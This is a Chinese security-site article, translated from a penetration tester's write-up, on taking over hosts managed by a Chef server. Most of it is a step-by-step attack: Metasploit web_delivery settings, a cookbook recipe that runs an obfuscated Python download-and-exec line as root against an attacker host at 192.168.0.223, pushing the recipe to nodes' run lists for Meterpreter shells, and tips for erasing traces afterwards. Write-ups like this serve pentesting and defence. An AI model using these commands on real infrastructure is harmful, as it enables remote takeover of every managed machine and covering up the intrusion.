freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

看我如何获取Chef服务器的Meterpreter Shell
2018-05-18 15:00:27

这篇文章主要是想警告使用Chef的朋友,你们的管理员账户很可能早已在Chef web interface中泄露。管理员通常无法设置默认管理凭据。在这种情况下,Chef server主页将为你提供。

Chef-1b.jpg

在最近的一次渗透测试中,我成功拿下了一台Chef server。然而对于Chef我并不了解,我使用较多的是Puppet,可以说在系统方面的大部分时间我都在使用Puppet。由于此前我从未遇到过Chef,因此我需要在最短的时间内,找出一个可以使用Chef基础架构shell一定范围内所有敏感主机的方法。以下是我的实行过程。

注意:所有这些很可能都是从命令行执行的。我通过Chef web interface获取了一个帐户,并且大部分时间都花在了GUI上。如果你知道如何在命令行上完成这些操作,你可以通过我的联系方式告知我。谢谢!

首先,需要创建一个新的管理用户用于上传cookbooks。如果你手头已经有一个使用习惯的管理用户,那么你可以忽略这一步。

Chef-2.jpg

记下创建新管理用户后界面为你提供的专用RSA密钥。

如果你还没有安装过Chef,那么请在你的攻击机上安装它。出现提示时请输入Chef URL。使用Chef server在其SSL证书中的主机名(不是IP地址或别名/cname),否则最终将导致你可能无法使用knife连接。

apt-get install chef

安装完成后,配置knife连接到Chef server。确保输入的URL和用户名无误。其他选项你可以设置为默认。

knife configure

Chef-3.jpg

将你的私有RSA密钥写入~/.chef目录(.pem文件)中。同时,请确保你已相应地配置了你的~/.chef/knife.rb文件。

Chef-4.jpg

使用你的私钥,下载Chef server的证书并验证knife连接是否正常工作。使用以下命令来执行此操作。

knife ssl fetch
knife ssl check

Chef-5.jpg

快速浏览可用的cookbooks,确保knife连接正常。

knife cookbook list

Chef-6b.jpg

现在,你需要创建一个cookbook和recipe。我使用以下命令来执行此操作。但该命令似乎已被弃用,你可以根据提示来替换该命令。

knife cookbook create evil

Chef-7.jpg

接着,我们来启动Metasploit,并创建一个web-delivery multi-handler。这里我选择使用的是python multi-handler payload。

use exploit/multi/script/web_delivery
set SRVPORT 8080
set SRVHOST 192.168.0.223
set URIPATH 2w9kwS11
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.0.223
set LPORT 8443
set TARGET 0
run

成功执行后,我们将会获取到以下输出结果:

python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"

填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。

execute "evil_commands" do
   command "python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());\""
   user "root"
   action :run
end

填充metadata.rb文件。以下为演示,在实际操作中请尽量避免使用类似于 'evil' 或 'pwnage' 等字符串。

Chef-8.jpg

是时候把你的Cookbook上传到服务器上了。

knife cookbook upload evil

Chef-8b.jpg

请确认你的cookbook现在是否已存在于Chef服务器中。你可以在命令行或Web界面中执行以下操作。

knife cookbook list | grep evil

导航到网站上的“Cookbooks”列表。

Chef-9b.jpg

将cookbook recipe分配给你想要shell的目标,并将其添加到每个节点的运行列表中。 转到节点列表,单击你感兴趣的节点,单击Edit。

Chef-10.jpg

在左下栏的'Available Recipes'列表中找到你的cookbook recipe,然后将其拖到右上角的 'Run List' 中。点击底部的 'Save Node'按钮提交更改。

Chef-11.jpg

看!成功获取到了一个meterpreter shell。

Chef-12.jpg

为了操作的安全性,一旦你成功获取到了shell连接,请返回到web界面,并从已成功连接的节点运行列表中删除recipe。你不需要从相同的端点产生多个shell。

在完成你的任务后,请务必清除你与之交互过的系统中存在的任何痕迹。kill你的Meterpreter会话,删除你创建的管理用户以及recipe。你可以通过以下命令完成。

关闭会话:

sessions -K

主机与knife的连接:

knife cookbook delete evil

*参考来源:coalfire,FB小编 secist 编译,转载请注明来自FreeBuf.COM

# ChEF # Meterpreter shell
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者